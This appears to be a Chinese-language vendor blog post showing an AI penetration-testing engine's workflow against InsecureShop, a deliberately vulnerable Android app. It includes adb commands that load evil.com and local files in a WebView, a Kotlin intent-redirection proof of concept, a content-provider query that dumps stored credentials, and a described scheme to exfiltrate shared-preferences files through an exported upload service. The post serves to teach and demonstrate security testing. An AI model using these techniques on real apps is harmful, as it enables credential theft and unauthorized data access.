我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

AI 驱动的渗透测试:深入剖析 Android Intent 重定向

本文展示了 Ostorlab 的 AI 渗透测试引擎分析某 Android 应用以查找 Intent 重定向漏洞的过程。跟随该引擎从静态分析、初步发现到严格的动态验证的全过程,领略它不仅能够识别潜在威胁,还能够细致地排除误报的能力。

Ostorlab 的 AI 渗透测试引擎旨在复现一名专家级人类安全研究员那种复杂的、多步骤的工作流程。它不只是运行一个扫描器并报告输出;它会提出假设、对其进行测试,并验证自己的发现。

为了检验这一点,我们将该引擎对准了 InsecureShop 这款 Android 应用,目标是测试 Intent 重定向漏洞。对某一漏洞类别进行测试的目标,由一个威胁情报模块来定义,该模块会识别出所有风险以及需要测试的上下文,不过关于这一点我们将在后续文章中详述。

随之而来的是一次优雅而快速的渗透测试过程。AI 引擎反编译了该应用,通过静态分析识别出可能存在漏洞的组件,随后使用动态分析和概念验证应用,严格地尝试验证每一个发现。

本文记录了该引擎完整、未经编辑的工作流程,不仅凸显了它发现严重缺陷的能力,而且同样重要地,凸显了它确认或排除这些缺陷的能力。

测试计划的生成

AI 引擎的第一步是制定一套包含 10 项任务的方法论,其目标如下:

  • 识别所有已导出的应用组件及其 intent filter
  • 分析 intent 的处理过程,查找潜在的重定向缺陷
  • 使用恶意 intent 对组件进行模糊测试,以触发非预期行为
  • 为已确认的漏洞开发完整的概念验证应用

计划分解

  1. APK 反编译 —— 提取 AndroidManifest.xml 文件、资源和源代码,用于梳理应用的攻击面
  2. 组件分析 —— 枚举所有 activity、service 和 broadcast receiver,重点关注带有 android:exported=true 的组件
  3. Intent Filter 文档化 —— 为每个已导出的组件记录其 action、category 和 data scheme
  4. 源代码审查 —— 检查已导出的组件,查找其中创建 Intent 对象或从接收到的 intent extra 中提取数据的模式
  5. 环境搭建 —— 在启用了日志记录和监控工具的测试设备上安装该应用
  6. 构造恶意 Intent —— 创建在 extras bundle 中嵌入了嵌套 intent 的 intent,以测试重定向能力
  7. 权限提升测试 —— 通过嵌套 intent 针对非导出组件进行测试,以检验是否存在未授权访问
  8. 系统监控 —— 监控 logcat 和应用行为,寻找 intent 重定向成功的迹象
  9. PoC 开发 —— 创建 Android 应用,通过构造恶意 intent 来演示安全影响
  10. 文档记录 —— 记录发现结果,包括存在漏洞的组件、所使用的恶意 intent 以及 PoC 源代码

引擎的逐步推理

反编译该 APK 并细致地分析 AndroidManifest.xml 文件。目标是创建一份全面而确定的清单,列出所有已导出的组件(activity、service 和 broadcast receiver)。预期的产出是一份被标记为 android:exported="true" 的组件名称清单。

步骤 1:run_decompile_apk:
- 工具名称:run_decompile_apk
- 参数:

apk_path='/REDACTED/InsecureShop.apk'_

AndroidManifest.xml:

<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" package="com.insecureshop">
  <uses-permission android:name="android.permission.INTERNET"/>
  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

  <application android:debuggable="true" ...>
    <activity android:name="com.insecureshop.WebViewActivity">
      <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="insecureshop" android:host="com.insecureshop"/>
      </intent-filter>
    </activity>
    <activity android:name="com.insecureshop.WebView2Activity" android:exported="true">
      <intent-filter>
        <action android:name="com.insecureshop.action.WEBVIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
      </intent-filter>
    </activity>
    <activity android:name="com.insecureshop.PrivateActivity" android:exported="false"/>
    ...
    <provider android:name="com.insecureshop.contentProvider.InsecureShopProvider" android:readPermission="com.insecureshop.permission.READ" android:exported="true" android:authorities="com.insecureshop.provider"/>
    <service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>
  </application>
</manifest>

发现 1:WebViewActivity 中的本地文件包含

AI 对 WebViewActivity.java 及其对应 manifest 条目的静态分析引出了一个假设:该 activity 可能被诱骗通过自定义 URI 中的 url 参数加载本地文件,这表明可能存在本地文件包含(LFI)漏洞。 随后,AI 转向验证这一假设。

步骤 1:Trigger the Webview
- 工具名称:adb
- 参数:

shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://evil.com

步骤 2:Result Observation
- 工具名称:run_take_screenshot
- 输出:Successfully captured 1 screenshots.

打开 evil.com
Open evil.com

步骤 3:Create Test File
- 工具名称:adb
- 参数:

shell echo <html><body><h1>Vulnerability Confirmed</h1></body></html> > /data/local/tmp/validation.html

步骤 4:Attempt to Load Local File via Intent
- 工具名称:adb
- 参数:

shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/local/tmp/validation.html"

步骤 5:Result Observation - 工具名称:run_take_screenshot
- 输出:Successfully captured 1 screenshots.

读取 LFI 验证
Read lfi validation

发现 2:WebView2Activity 中的 Intent 重定向

对 com.insecureshop.WebViewActivity 的分析揭示了一个本地文件包含漏洞。AndroidManifest.xml 显示还有另一个已导出的 activity,即 com.insecureshop.WebView2Activity,它由自定义 action com.insecureshop.action.WEBVIEW 激活。下一项任务是调查这第二个 WebView activity,以确定它是否存在类似的漏洞,或在其 intent 处理中是否有其他缺陷。

接下来,AI 分析了 WebView2Activity,这是一个已导出的 activity,它似乎会启动任何作为名为 extra_intent 的 Parcelable extra 传递给它的 Intent。这是 Intent 重定向的一种经典模式,可能允许恶意应用启动非导出组件。

为了验证这一点,AI 构建并部署了一个概念验证恶意应用,旨在利用此缺陷并启动非导出的 PrivateActivity。

步骤 1:Build and Install PoC

工具名称:run_build_app
参数:
Imports:

  import android.content.ComponentName
  import android.content.Intent
  import android.os.Bundle
  import androidx.appcompat.app.AppCompatActivity

PoC Application Code:

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        val maliciousIntent = Intent()
        maliciousIntent.component = ComponentName("com.insecureshop", "com.insecureshop.PrivateActivity")

        val wrapperIntent = Intent()
        wrapperIntent.component = ComponentName("com.insecureshop", "com.insecureshop.WebView2Activity")
        wrapperIntent.action = "com.insecureshop.action.WEBVIEW"
        wrapperIntent.putExtra("extra_intent", maliciousIntent)

        startActivity(wrapperIntent)
    }
}

工具名称:adb
参数:

install /REDACTED/pentestingApp-debug.apk

输出:

    Performing Streamed Install
    Success

步骤 2:Launch PoC and Observe

工具名称:adb
参数:

shell am start -n com.example.pentestingapp/.MainActivity

输出:

Starting: Intent { cmp=com.example.pentestingapp/.MainActivity }

工具名称:run_take_screenshot
输出:Successfully captured 1 screenshots.

空白的 Webview
Blank Webview

发现 3:通过 InsecureShopProvider 导致的凭据泄露

在两个已导出的 activity 中发现了重大漏洞之后,我们是否已经收集到足够的信息来理解该应用的主要弱点,还是说对其他已导出组件(例如 InsecureShopProvider content provider)进行更彻底的调查,会得出一幅关于整体安全态势的更完整图景?

AI 识别出一个由 normal 级别权限保护的已导出 content provider,这表明任何应用都可以查询它。对 InsecureShopProvider.java 的静态分析表明,它会返回所存储的用户凭据。

一个已导出的 content provider com.insecureshop.contentProvider.InsecureShopProvider 被识别为潜在的信息泄露点。该 provider 由 com.insecureshop.permission.READ 权限保护。然而,该权限的定义中没有 protectionLevel,其默认值为 normal,这意味着任何应用在安装时都可以被授予此权限,而无需用户交互。该 provider 的源代码表明,它会查询并返回存储在 SharedPreferences 中的用户凭据。

来自 Manifest 的证据:

<provider 
    android:name="com.insecureshop.contentProvider.InsecureShopProvider" 
    android:readPermission="com.insecureshop.permission.READ" 
    android:exported="true" 
    android:authorities="com.insecureshop.provider"/>
<permission android:name="com.insecureshop.permission.READ"/>

InsecureShopProvider.java 的代码显示,query 方法会返回一个游标(cursor),其中包含存储在应用 shared preferences 中的用户名和密码,并忽略任何选择条件。

@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    Intrinsics.checkParameterIsNotNull(uri, "uri");
    UriMatcher uriMatcher2 = uriMatcher;
    if (uriMatcher2 != null && uriMatcher2.match(uri) == 100) {
        MatrixCursor cursor = new MatrixCursor(new String[]{"username", "password"});
        String[] strArr = new String[2];
        String username = Prefs.INSTANCE.getUsername();
        if (username == null) {
            Intrinsics.throwNpe();
        }
        strArr[0] = username;
        String password = Prefs.INSTANCE.getPassword();
        if (password == null) {
            Intrinsics.throwNpe();
        }
        strArr[1] = password;
        cursor.addRow(strArr);
        return cursor;
    }
    return null;
}

步骤 1:Query Content Provider:

工具名称:adb
参数:

shell content query --uri content://com.insecureshop.provider/insecure

步骤 2:Analyze Output:

该命令返回了 username 和 password 字段的值。

Row: 0 username=shopuser, password=!ns3csh0p

更进一步

通过 UploadService 导致的未授权文件外泄

分析已导出的 service net.gotev.uploadservice.UploadService。审查其源代码,以了解它可以如何被触发以及它接受哪些参数。目标是确定恶意应用是否能够构造一个 intent 来启动此 service,并迫使它从设备存储中上传任意的本地文件。

最后,引擎识别出一个已导出的上传 service,它可能被恶意应用触发,从而外泄私密文件。一次成功的利用需要构造一个 Parcelable 对象以作为 Intent extra 传递。

AI 尝试为此构建一个 PoC 应用。然而,可用的工具并不支持引入构造所需对象时需要用到的第三方库(net.gotev:android-upload-service)。

net.gotev.uploadservice.UploadService 在 AndroidManifest.xml 中以 android:exported="true" 声明,使得设备上的任何应用都可以访问它。

<service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>

UploadService 旨在根据通过 Intent 传入的参数来处理文件上传。具体而言,它接受一个 taskClass 字符串和一个名为 taskParameters 的 Parcelable 对象。该 service 不会对调用方应用或 intent 中的参数执行任何校验。

恶意应用可以构造一个 Intent,指定一个有效的 UploadTask 类(例如 net.gotev.uploadservice.MultipartUploadTask),并提供包含以下内容的 UploadTaskParameters: 1. 一个由攻击者控制的任意服务器 URL。 2. 一个指向 InsecureShop 应用沙箱存储中敏感文件的路径(例如 /data/data/com.insecureshop/shared_prefs/Prefs.xml,其中存储着用户凭据)。

  • PoC Build Attempt:
{"tool_name": "run_build_app", "content": "AssembleDebug failed: ./gradlew assembleDebug\nError: e: ... Unresolved reference: UploadTaskParameters"}

由于无法构建 PoC,该漏洞无法被测试。

结论:无定论